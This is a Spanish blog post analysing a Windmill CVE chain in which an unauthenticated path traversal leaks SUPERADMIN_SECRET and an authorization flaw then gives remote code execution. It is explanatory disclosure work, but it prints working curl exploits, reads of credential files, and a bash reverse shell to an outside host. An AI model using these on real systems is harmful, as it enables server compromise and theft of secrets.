Windmill es una plataforma open-source, con más de 15000 estrellas en Github, enfocada a la automatización de workflows y la ejecución de scripts desde una interfaz web. Está diseñada principalmente para permitir que los equipos técnicos creen tareas automatizadas, integraciones internas y pipelines operacionales. Según las estadísticas de GitHub Packages, la imagen oficial de Docker se había descargado más de 7,93 millones de veces, demostrando una adopción significativa en el mundo real y posicionándose como una alternativa a Retool, Airplane y Temporal.
En los primeros meses de 2026 se publicaron dos CVEs que, vistas de forma aislada, tienen alcances muy distintos. Sin embargo, encadenadas forman una ruta completa hacia la ejecución remota de código sin necesidad de ser administrador.
Aunque las vulnerabilidades identificadas corresponden a Windmill, Nextcloud integra capacidades de automatización a través de Nextcloud Flow, componente desarrollado a partir de Windmill. Por esta misma razón, la dependencia de componentes puede dar lugar a la propagación de vulnerabilidades desde Windmill hacia Nextcloud. En este contexto, se han identificado versiones de Nextcloud Flow afectadas por dichas vulnerabilidades.
En este post analizamos las dos vulnerabilidades que componen la cadena, su alcance individual, y cómo la explotación de la primera abre la puerta a la segunda, llegando a obtener RCE completo:
- CVE-2026-29059: Path traversal sin autenticación → Lectura de credenciales → Ejecución remota de comandos mediante el CVE-2026-22683
- CVE-2026-22683: Creación de tareas mediante usuario Autenticado → Ejecución remota de comandos
1. CVE-2026-29059 (Path traversal sin autenticación)
En primer lugar, la vulnerabilidad CVE-2026-29059 permite realizar un ataque Path Traversal sin la necesidad de autenticación, llegando a poder leer el contenido de los archivos del sistema. Esto es posible debido a que, el endpoint get_log_file de Windmill, acepta la entrada de un archivo que se concatena directamente a la ruta del sistema de archivos sin ningún saneamiento.
El punto vulnerable estaría en el archivo /windmill/backend/windmill-api/src/Jobs.rs, concretamente en la línea de código: let local_file = format!("{TMP_DIR}/logs/{file_p}"); donde cómo se puede observar file_p viene directamente del path de la URL sin ningún tipo de validación.

Además, se trata de un endpoint sin autenticación, diseñado para permitir que los trabajadores y sistemas externos obtengan archivos de registro sin necesidad de un token. Sabiendo esto, un atacante puede enviar una solicitud recuperando el contenido del archivo solicitado:
curl -s "http://localhost:8000/api/w/default/jobs_u/get_log_file/..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd" | tr '\0' '\n'
En un alcance real, de esta misma manera, un atacante puede exfiltrar archivos de configuración, variables de entorno, secretos almacenados en disco o incluso claves privadas.
En Windmill, el valor sensible primario expuesto es la variable de entorno SUPERADMIN_SECRET, legible vía /proc/1/environ. Cuando está configurada, este secreto puede usarse como “Bearer token” para autenticarse como superadmin y ejecutar código arbitrario a través de la API de preview de Jobs.
curl -s "http://localhost:8000/api/w/default/jobs_u/get_log_file/..%2F..%2F..%2F..%2F..%2Fproc%2F1%2Fenviron" | tr '\0' '\n'
A diferencia de un token de sesión convencional, el SUPERADMIN_SECRET es un secreto de configuración estático: no caduca, no puede revocarse sin intervención directa sobre el sistema, y su uso no genera eventos de autenticación rastreables de forma convencional. La propia arquitectura de Windmill lo trata como una llave maestra, cualquier petición que lo incluya como Bearer token es procesada con los máximos privilegios del sistema, sin distinción. Su exposición representa, en la práctica, un compromiso total y persistente de la instancia.
export SECRET="supersecret123" # extraído de /proc/1/environ via path traversalPara comprobar que el token funciona correctamente se podría enumerar los espacios de trabajo:
curl -s "http://localhost:8000/api/workspaces/list_as_superadmin" -H "Authorization: Bearer $SECRET" | jq
Con acceso verificado como superadministrador, el siguiente paso es abusar de la funcionalidad de ejecución de scripts de Windmill para obtener ejecución remota de comandos, aquí es donde entra en juego el CVE-2026-22683.
2. CVE-2026-22683 (Missing authorization)
Windmill expone un endpoint de API que permite ejecutar scripts de forma interactiva sin necesidad de que estos estén previamente guardados o asociados a un workspace concreto. Esta funcionalidad, pensada para facilitar el desarrollo y la depuración de automatizaciones, no valida suficientemente el contenido del script enviado; permitiendo a un atacante autenticado inyectar y ejecutar código arbitrario directamente en el worker.
Cabe destacar que en este caso se ha realizado la creación y ejecución de la tarea mediante el token de superadministrador. No obstante, Windmill implementa un modelo de autorización por workspace donde cualquier usuario con permisos de escritura en un workspace puede lanzar jobs de preview. Esto significa que un atacante que haya comprometido credenciales de un usuario con privilegios limitados podría igualmente abusar de este endpoint para ejecutar comandos en el worker, siempre que tenga acceso a algún workspace.
JOB_ID=$(curl -s -X POST "http://localhost:8000/api/w/admins/jobs/run/preview" \
-H "Authorization: Bearer $SECRET" \
-H "Content-Type: application/json" \
-d '{"language":"bash","content":"id","args":{}}' )
echo "Job ID: $JOB_ID"El endpoint devuelve únicamente el UUID de la tarea lanzada. La salida del comando no se obtiene de forma síncrona. Para poder obtener el “output del comando ejecutado” se deberá de realizar una segunda petición consultando el resultado del job.
curl -s "http://localhost:8000/api/w/admins/jobs_u/completed/get/$JOB_ID" \
-H "Authorization: Bearer $SECRET" | jq '.result'
Esto confirma la ejecución remota de comandos. Sin embargo, más allá de la ejecución puntual de comandos, el atacante puede aprovechar el mismo endpoint para establecer una conexión inversa hacia el servidor, obteniendo una shell interactiva y persistente.
JOB_ID=$(curl -s -X POST "http://localhost:8000/api/w/admins/jobs/run/preview" \
-H "Authorization: Bearer $SECRET" \
-H "Content-Type: application/json" \
-d '{"language":"bash","content":"bash -i >& /dev/tcp/172.18.0.1/443 0>&1","args":{}}' )
echo "Job ID: $JOB_ID"Las dos vulnerabilidades estudiadas demuestran que el impacto de un fallo rara vez se limita a sí mismo. Un path traversal que en otro contexto sería una lectura de archivo sin consecuencias, aquí se convierte en el primer eslabón de una cadena que termina con una Shell en el servidor.

Speak Your Mind